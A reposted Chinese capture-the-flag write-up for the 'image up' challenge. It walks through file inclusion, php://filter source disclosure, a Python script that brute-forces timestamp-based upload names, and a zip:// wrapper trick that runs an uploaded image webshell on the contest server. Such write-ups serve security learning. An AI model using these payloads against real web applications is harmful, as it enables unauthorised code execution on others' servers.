安恒月赛 image up
生活随笔
收集整理的這篇文章主要介紹了
安恒月赛 image up
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
http://101.71.29.5:10007/index.php?page=login
仔細觀察這個url的話會發現,存在文件包含。
而且并沒有login.php而是login,猜測代碼是
<?php include str."php";
隨便賬號密碼就能登陸,來到了一個上傳頁面,只能上傳圖片,回頭看看題目
這里的思路明確了,文件包含加圖片馬。
在這時間統一的世界里,上傳圖片試試吧突然發現,并不知道圖片去哪里了。
用為協議讀取源代碼,
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=login http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload注意,因為包含文件的時候自動拼接.php,所以這里只寫login和upload
在upload這里我們發現代碼實現的功能。
分割文件名和文件后綴,然后文件名保存為MD5(當前時間+文件名)+文件后綴,上傳到upload目錄下邊。這個文件名其實是可以預測的,只不過我們得稍微的爆破一下他前后左右很短的一段時間,訪問他是否存在來判斷時間是否正確。
制作一個圖片馬,上傳后立即運行腳本。
import time import hashlib import requests def md5(str):m=hashlib.md5()m.update(str)return m.hexdigest() t=int(time.time()) for i in range(t+8*3600-20,t+8*3600+60):#時差查了八個小時url="http://101.71.29.5:10007/"+"uploads/"+md5("sky"+str(i))+".jpg"res=requests.get(url)if res.status_code==200:print(url+'')直接包含這個圖片,發現不行,因為讀upload.php源碼的時候會發現拼接了.php,相當于你包含了shell.jpg.php,這是一個不存在的文件。
為了繞過拼接,我們可以用phar和zip為協議。
本來最后必須要打你完整的木馬的名字:name.php,但是php是自動拼接的,所以就之打name。
這樣就可以讓繞過.php的自動拼接了。。。
http://101.71.29.5:10043/index.php?page=zip://uploads/圖片.jpg%23shell密碼,然后命令執行就可以了
轉載于:https://www.cnblogs.com/zaqzzz/p/10041922.html
總結
以上是生活随笔為你收集整理的安恒月赛 image up的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BZOJ4589: Hard Nim(F
- 下一篇: Lodop导出图片和打印机无关,测试是否